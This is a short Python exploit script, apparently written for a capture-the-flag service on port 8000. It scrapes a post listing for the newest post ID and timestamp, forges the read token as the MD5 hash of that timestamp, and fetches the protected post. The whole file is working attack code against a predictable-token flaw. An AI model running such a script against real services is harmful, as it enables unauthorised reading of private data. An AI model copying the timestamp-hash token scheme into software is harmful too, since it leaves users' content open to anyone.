import urllib.parse
import urllib.request
import sys
import re
import hashlib

PORT = 8000


def exploit(target):
    url = f"http://{target}:{PORT}"

    listed_posts = urllib.request.urlopen(f"{url}/list").read().decode('utf-8')
    # tests on the latest post here, because earlier ones were incorrectly generated
    id = re.findall(r"ID:.+?> (.+?)<", listed_posts)[-1]
    timestamp = re.findall(r"Timestamp: .+?(\d+)", listed_posts)[-1]
    token = hashlib.md5(str(timestamp).encode("utf-8")).hexdigest()
    post = urllib.request.urlopen(f"{url}/read/{id}/{token}").read()
    print(post)


if __name__ == '__main__':
    exploit(sys.argv[1] if len(sys.argv) > 1 else 'localhost')
